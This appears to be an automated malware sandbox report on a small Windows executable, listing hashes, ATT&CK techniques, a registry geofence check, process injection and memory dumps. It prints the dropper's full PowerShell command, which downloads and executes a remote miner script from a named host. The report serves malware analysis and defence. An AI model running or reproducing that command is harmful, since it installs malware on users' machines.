81108fae5f04426c41022cad3473f5e4eed37218727cd7f0aa432ebece30c911

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
31/12/2023, 04:34

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General

Target

285ba9484241711aa88415c31fadf5ff.exe
Size

7KB
MD5

285ba9484241711aa88415c31fadf5ff
SHA1

3346f8085eb1ddf7c2ca292e3a074995c6fe88a3
SHA256

81108fae5f04426c41022cad3473f5e4eed37218727cd7f0aa432ebece30c911
SHA512

e85c05b810441cf5e5aec05b4ff720cf6a848960564a59bfff0f155a04c4ed6abfb6ff45f89fd713238f437801bc84a62ef22e356c20c20620bf6a42267f1059
SSDEEP

96:+YudKzYMdLDHbZ7h+6I0EwI8xJJSI+UqOyC7tCE5W8:fuvuZ7h+6jTJJRhqOPY

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://a1.psdcago.com/MinerPS.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
41	3364	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	285ba9484241711aa88415c31fadf5ff.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3364	powershell.exe
3364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3364	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3672 wrote to memory of 3364	3672	285ba9484241711aa88415c31fadf5ff.exe	90
PID 3672 wrote to memory of 3364	3672	285ba9484241711aa88415c31fadf5ff.exe	90
PID 3672 wrote to memory of 3364	3672	285ba9484241711aa88415c31fadf5ff.exe	90

C:\Users\Admin\AppData\Local\Temp\285ba9484241711aa88415c31fadf5ff.exe
"C:\Users\Admin\AppData\Local\Temp\285ba9484241711aa88415c31fadf5ff.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command iex (new-object System.Net.WebClient).DownloadString('http://a1.psdcago.com/MinerPS.txt')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zzt4g4dt.5na.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3364-16-0x0000000006E00000-0x0000000007154000-memory.dmp

Filesize
3.3MB

Download
memory/3364-19-0x0000000004AF0000-0x0000000004B00000-memory.dmp

Filesize
64KB

Download
memory/3364-3-0x0000000005130000-0x0000000005758000-memory.dmp

Filesize
6.2MB

Download
memory/3364-4-0x0000000006A40000-0x0000000006A62000-memory.dmp

Filesize
136KB

Download
memory/3364-5-0x0000000006D20000-0x0000000006D86000-memory.dmp

Filesize
408KB

Download
memory/3364-6-0x0000000006D90000-0x0000000006DF6000-memory.dmp

Filesize
408KB

Download
memory/3364-1-0x0000000004AF0000-0x0000000004B00000-memory.dmp

Filesize
64KB

Download
memory/3364-0-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/3364-2-0x00000000028B0000-0x00000000028E6000-memory.dmp

Filesize
216KB

Download
memory/3364-17-0x00000000072D0000-0x00000000072EE000-memory.dmp

Filesize
120KB

Download
memory/3364-18-0x0000000007320000-0x000000000736C000-memory.dmp

Filesize
304KB

Download
memory/3364-20-0x0000000008AE0000-0x000000000915A000-memory.dmp

Filesize
6.5MB

Download
memory/3364-21-0x0000000007980000-0x000000000799A000-memory.dmp

Filesize
104KB

Download
memory/3364-22-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/3364-23-0x0000000004AF0000-0x0000000004B00000-memory.dmp

Filesize
64KB

Download
memory/3364-24-0x0000000004AF0000-0x0000000004B00000-memory.dmp

Filesize
64KB

Download
memory/3364-26-0x0000000004AF0000-0x0000000004B00000-memory.dmp

Filesize
64KB

Download
memory/3364-29-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download